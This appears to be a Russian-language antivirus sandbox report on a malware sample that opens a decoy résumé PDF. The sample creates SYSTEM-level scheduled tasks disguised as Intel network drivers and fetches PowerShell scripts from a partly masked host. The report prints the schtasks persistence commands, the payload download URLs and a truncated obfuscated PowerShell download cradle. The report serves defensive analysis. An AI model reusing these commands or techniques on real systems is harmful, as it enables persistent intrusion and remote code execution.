Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\intel(r) ethernet connection 1219-lm
- <SYSTEM32>\tasks\intel(r) ethernet connection 1219-lm2
Вредоносные функции
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe' "%TEMP%\Resume - professional sax, keys and guitar player with over 40 years experience working with own bands, accompanied world stars.pdf"
- '<SYSTEM32>\schtasks.exe' /delete /tn "Intel(R) Ethernet Connection 1219-LM" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Intel(R) Ethernet Connection 1219-LM" /tr "<SYSTEM32>\connectionupdate2.bat" /ru "SYSTEM" /sc ONSTART /rl HIGHEST
- '<SYSTEM32>\schtasks.exe' /run /tn "Intel(R) Ethernet Connection 1219-LM"
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\resume - professional sax, keys and guitar player with over 40 years experience working with own bands, accompanied world stars.pdf
- %TEMP%\k1.bat
- %TEMP%\scheduler-once.bat
- %TEMP%\k2.bat
- <SYSTEM32>\connectionupdate.bat
- <SYSTEM32>\connectionupdate2.bat
- C:\users\public\documents\id.log
- %LOCALAPPDATA%\adobe\color\profiles\wscrgb.icc
- %LOCALAPPDATA%\adobe\color\profiles\wsrgb.icc
- %LOCALAPPDATA%\adobe\color\acecache11.lst
- %TEMP%\a9rqx1sya_suopmu_21g.tmp
Удаляет следующие файлы
- %TEMP%\k1.bat
- %TEMP%\k2.bat
Сетевая активность
Подключается к
- 'is##e.homes':80
TCP
Запросы HTTP GET
- http://is##e.homes/up/bp.ps1
- http://is##e.homes/up/bait/Resume%20-%20professional%20sax,%20keys%20and%20guitar%20player%20with%20over%2040%20years%20experience%20working%20with%20own%20bands,%20accompanied%20world%20stars....
- http://is##e.homes/up/b.ps1
- http://is##e.homes/up/trigger
- http://is##e.homes/up/scheduler-once
- http://is##e.homes/up/scheduler-rpt
- http://is##e.homes/up/get-command.php?ui######################################
- http://is##e.homes/up/a.ps1
UDP
- DNS ASK is##e.homes
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\scheduler-once.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\connectionupdate2.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\connectionupdate.bat"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\scheduler-once.bat"
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\connectionupdate2.bat"
- '<SYSTEM32>\schtasks.exe' /delete /tn "Intel(R) Ethernet Connection 1219-LM2" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Intel(R) Ethernet Connection 1219-LM2" /tr "<SYSTEM32>\connectionupdate.bat" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST
- '<SYSTEM32>\schtasks.exe' /run /tn "Intel(R) Ethernet Connection 1219-LM2"
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\connectionupdate.bat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[string] $a = {(eliasneliaseeliasw-eliasObeliasjeeliasct neeliast.weliasebeliasCleliasient).eliasdeliasoeliaswnleliasoeliasaeliasdSeliastreliasieliasneliasg('eliasheliasteliasteliasp:...
